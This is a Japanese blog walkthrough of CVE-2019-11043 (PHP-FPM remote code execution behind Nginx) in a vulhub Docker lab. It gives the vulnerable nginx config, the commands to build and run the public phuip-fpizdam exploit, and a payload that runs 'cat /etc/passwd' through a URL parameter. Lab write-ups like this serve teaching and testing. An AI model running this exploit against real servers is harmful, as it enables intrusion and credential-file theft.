Suchen

Suchen

OvO

CVE-2019-11043(PHPリモートコード実行脆弱性)

脆弱性の原理#

Nginx 上の fastcgi_split_path_info は、%0a を含むリクエストを処理する際に、改行文字 \n に遭遇することで PATH_INFO が空になります。そして php-fpmPATH_INFO が空の状態で論理的欠陥があります。攻撃者は巧妙に構築し利用することで、リモートコード実行を引き起こすことができます。
この脆弱性は、nginx.conf で特定の設定を行う必要があります。具体的な設定は以下の通りです:

location ~ [^/]\.php(/|$) {

 ...

 fastcgi_split_path_info ^(.+?\.php)(/.*)$;

 fastcgi_param PATH_INFO $fastcgi_path_info;

 fastcgi_pass   php:9000;

 ...

}

攻撃者は改行文字(%0a)を使用して fastcgi_split_path_info 指令内の Regexp を破壊することができます。Regexp が破損すると PATH_INFO が空になり、この脆弱性が引き起こされます。

脆弱性の再現#

本実験で使用するマシンは:Kali、vulnhub の docker イメージを作成しました。
まず、vulhub をインストールし、該当する脆弱性のディレクトリに移動し、docker イメージ作成のコマンドを実行します。
コマンドは:

docker-compose build  docker-compose up -d

image
docker-compose config を使用してこの脆弱性の設定を確認します
image
その後、このページにアクセスします:
192.168.19.128:8080(192.168.19.128 は kali 仮想マシンの IP)
脆弱性利用ツールをダウンロードしてインストールします
GitHub 上で公開されているこの脆弱性の POC を使用して、インストールパッケージを取得します:

git clone https://github.com/neex/phuip-fpizdam.git

image
このツールは Go 言語環境でコンパイルして実行する必要があるため、Kali に Go 言語環境がインストールされている必要があります。
image
このディレクトリに入ったら、コマンドを実行します:

go env -w GOPROXY=https://goproxy.cn
go get -v && go build

これで、ツールのインストールが完了しました。
次に脆弱性の再現を行います:
このディレクトリでコマンドを実行します:

go run . "http://192.168.19.128:8080/index.php"

その後、http://192.168.19.128:8080 のページで、パラメータ a を使用してコマンドを実行することができます。例えば、/etc/passwd ファイルの内容を確認するには、次のようなペイロードを構築します:
http://192.168.19.128:8080/?a=cat%20/etc/passwd

脆弱性が成功裏に再現されました。

Go 環境の Kali へのインストールについては、以下のリンクを参照できます:
https://blog.csdn.net/WHQ556677/article/details/122283509

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。